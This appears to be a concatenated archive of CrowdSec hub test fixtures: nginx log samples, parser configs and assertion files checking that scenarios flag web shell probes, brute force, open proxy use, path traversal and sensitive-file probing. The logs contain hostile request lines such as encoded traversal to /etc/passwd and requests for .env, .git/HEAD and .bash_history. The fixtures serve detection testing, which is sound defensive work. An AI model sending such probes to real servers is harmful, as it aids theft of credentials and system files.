hub1/.tests/nginx-http-backdoor/nginx-http-backdoor.log000066400000000000000000000003161437532772500234230ustar00rootroot00000000000000127.0.0.1 - - [29/Sep/2021:15:49:49 +0200] "GET /Worse_Linux_Shell.php HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:15:49:49 +0200] "GET /s72_Shell.php HTTP/1.1" 404 162 "-" "curl/7.68.0" hub1/.tests/nginx-http-backdoor/parser.assert000066400000000000000000000000001437532772500215430ustar00rootroot00000000000000hub1/.tests/nginx-http-backdoor/scenario.assert000066400000000000000000000034471437532772500220740ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-backdoor.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/Worse_Linux_Shell.php" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nginx-http-backdoor.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/s72_Shell.php" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-backdoors-attempts" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 2 hub1/.tests/nginx-http-generic-bf/000077500000000000000000000000001437532772500172535ustar00rootroot00000000000000hub1/.tests/nginx-http-generic-bf/config.yaml000066400000000000000000000003511437532772500214030ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-generic-bf postoverflows: - "" log_file: nginx-http-generic-bf.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-http-generic-bf/nginx-http-generic-bf.log000066400000000000000000000100531437532772500240540ustar00rootroot000000000000002021/09/30 09:23:53 [error] 1925800#1925800: *17 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: _, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *18 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *19 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: _, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *20 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *21 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *22 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *23 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *24 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *25 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *26 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *27 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *28 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *29 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *30 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *31 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 2021/09/30 09:23:53 [error] 1925800#1925800: *32 user "foo" was not found in "/tmp/a.htpasswd", client: 127.0.0.1, server: foo.com, request: "GET / HTTP/1.1", host: "localhost" 127.0.0.1 - test [06/Mar/2022:16:14:13 +0000] "POST /client HTTP/1.1" 401 141 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" "-" 127.0.0.1 - test [06/Mar/2022:16:14:13 +0000] "POST /client HTTP/1.1" 401 141 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" "-" 127.0.0.1 - test [06/Mar/2022:16:14:13 +0000] "POST /client HTTP/1.1" 401 141 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" "-" 127.0.0.1 - test [06/Mar/2022:16:14:13 +0000] "POST /client HTTP/1.1" 401 141 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" "-" 127.0.0.1 - test [06/Mar/2022:16:14:13 +0000] "POST /client HTTP/1.1" 401 141 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" "-" 127.0.0.1 - test [06/Mar/2022:16:14:13 +0000] "POST /client HTTP/1.1" 401 141 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" "-"hub1/.tests/nginx-http-generic-bf/parser.assert000066400000000000000000000000001437532772500217600ustar00rootroot00000000000000hub1/.tests/nginx-http-generic-bf/scenario.assert000066400000000000000000000251341437532772500223060ustar00rootroot00000000000000len(results) == 2 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_error-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[0].GetMeta("target_fqdn") == "_" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2021-09-30T09:23:53Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "foo" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_error-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[1].GetMeta("target_fqdn") == "foo.com" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2021-09-30T09:23:53Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "foo" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_error-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[2].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[2].GetMeta("target_fqdn") == "_" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2021-09-30T09:23:53Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "foo" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_error-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[3].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[3].GetMeta("target_fqdn") == "foo.com" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2021-09-30T09:23:53Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "foo" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_error-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[4].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[4].GetMeta("target_fqdn") == "foo.com" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2021-09-30T09:23:53Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "foo" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_error-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[5].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[5].GetMeta("target_fqdn") == "foo.com" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2021-09-30T09:23:53Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "foo" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-generic-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "127.0.0.1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[1].Overflow.Sources["127.0.0.1"].Range == "" results[1].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[1].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/client" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "401" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-03-06T16:14:13Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("http_path") == "/client" results[1].Overflow.Alert.Events[1].GetMeta("http_status") == "401" results[1].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" results[1].Overflow.Alert.Events[1].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[1].GetMeta("service") == "http" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-03-06T16:14:13Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("http_path") == "/client" results[1].Overflow.Alert.Events[2].GetMeta("http_status") == "401" results[1].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" results[1].Overflow.Alert.Events[2].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[2].GetMeta("service") == "http" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-03-06T16:14:13Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("http_path") == "/client" results[1].Overflow.Alert.Events[3].GetMeta("http_status") == "401" results[1].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" results[1].Overflow.Alert.Events[3].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[3].GetMeta("service") == "http" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-03-06T16:14:13Z" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("http_path") == "/client" results[1].Overflow.Alert.Events[4].GetMeta("http_status") == "401" results[1].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" results[1].Overflow.Alert.Events[4].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[4].GetMeta("service") == "http" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-03-06T16:14:13Z" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "nginx-http-generic-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("http_path") == "/client" results[1].Overflow.Alert.Events[5].GetMeta("http_status") == "401" results[1].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.121 Safari/537.36" results[1].Overflow.Alert.Events[5].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[5].GetMeta("service") == "http" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-03-06T16:14:13Z" results[1].Overflow.Alert.GetScenario() == "LePresidente/http-generic-401-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6hub1/.tests/nginx-http-open-proxy/000077500000000000000000000000001437532772500173725ustar00rootroot00000000000000hub1/.tests/nginx-http-open-proxy/config.yaml000066400000000000000000000004031437532772500215200ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/http-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-open-proxy postoverflows: - "" log_file: nginx-http-open-proxy.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-http-open-proxy/nginx-http-open-proxy.log000066400000000000000000000003111437532772500243060ustar00rootroot00000000000000127.0.0.1 - - [24/Sep/2021:06:20:32 +0000] "CONNECT foo.com:25 HTTP/1.1" 400 166 "-" "-" 127.0.0.2 - - [08/Aug/2022:21:18:26 +0000] "GET http://www.sbjudge4.com:80/ip4.php HTTP/1.0" 400 255 "-" "-" "-"hub1/.tests/nginx-http-open-proxy/parser.assert000066400000000000000000000000001437532772500220770ustar00rootroot00000000000000hub1/.tests/nginx-http-open-proxy/scenario.assert000066400000000000000000000047131437532772500224250ustar00rootroot00000000000000len(results) == 2 "127.0.0.1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[1].Overflow.Sources["127.0.0.1"].Range == "" results[1].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[1].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-open-proxy.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "foo.com:25" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "400" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "CONNECT" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2021-09-24T06:20:32Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/http-open-proxy" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 "127.0.0.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.2"].IP == "127.0.0.2" results[0].Overflow.Sources["127.0.0.2"].Range == "" results[0].Overflow.Sources["127.0.0.2"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.2"].GetValue() == "127.0.0.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-open-proxy.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "http://www.sbjudge4.com:80/ip4.php" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "400" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.2" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-08-08T21:18:26Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-open-proxy" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1hub1/.tests/nginx-http-path-traversal/000077500000000000000000000000001437532772500202075ustar00rootroot00000000000000hub1/.tests/nginx-http-path-traversal/config.yaml000066400000000000000000000003711437532772500223410ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-path-traversal-probing postoverflows: - "" log_file: nginx-http-path-traversal.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-http-path-traversal/nginx-http-path-traversal.log000066400000000000000000000016341437532772500257510ustar00rootroot00000000000000127.0.0.1 - - [29/Sep/2021:17:29:58 +0200] "GET /%2fetc%2fpasswd HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:03 +0200] "GET /%2Fetc%2Fpasswd HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:12 +0200] "GET /%252E%252E%252Ffoo1 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:12 +0200] "GET /%252E%252E%252Ffoo2 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:12 +0200] "GET /%252E%252E%252Ffoo3 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:12 +0200] "GET /%252E%252E%252Ffoo4 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:12 +0200] "GET /%252E%252E%252Ffoo5 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:24 +0200] "GET /c:/win.ini HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [29/Sep/2021:17:30:31 +0200] "GET /%2Fetc%2Fgroups HTTP/1.1" 404 162 "-" "curl/7.68.0" hub1/.tests/nginx-http-path-traversal/parser.assert000066400000000000000000000000001437532772500227140ustar00rootroot00000000000000hub1/.tests/nginx-http-path-traversal/scenario.assert000066400000000000000000000062111437532772500232350ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-path-traversal.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/%2Fetc%2Fpasswd" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nginx-http-path-traversal.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/%252E%252E%252Ffoo1" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nginx-http-path-traversal.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/%252E%252E%252Ffoo2" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nginx-http-path-traversal.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/%252E%252E%252Ffoo3" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-path-traversal-probing" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 5hub1/.tests/nginx-http-sensitive-files/000077500000000000000000000000001437532772500203635ustar00rootroot00000000000000hub1/.tests/nginx-http-sensitive-files/config.yaml000066400000000000000000000003631437532772500225160ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-sensitive-files postoverflows: - "" log_file: nginx-http-sensitive-files.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-http-sensitive-files/nginx-http-sensitive-files.log000066400000000000000000000015111437532772500262730ustar00rootroot00000000000000127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.bash_history HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.bashrc HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.cache HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.config HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.cvs HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.cvsignore HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.env HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.forward HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:09:58:05 +0200] "GET /.git/HEAD HTTP/1.1" 404 162 "-" "curl/7.68.0"hub1/.tests/nginx-http-sensitive-files/parser.assert000066400000000000000000000000011437532772500230710ustar00rootroot00000000000000 hub1/.tests/nginx-http-sensitive-files/scenario.assert000066400000000000000000000073731437532772500234230ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" 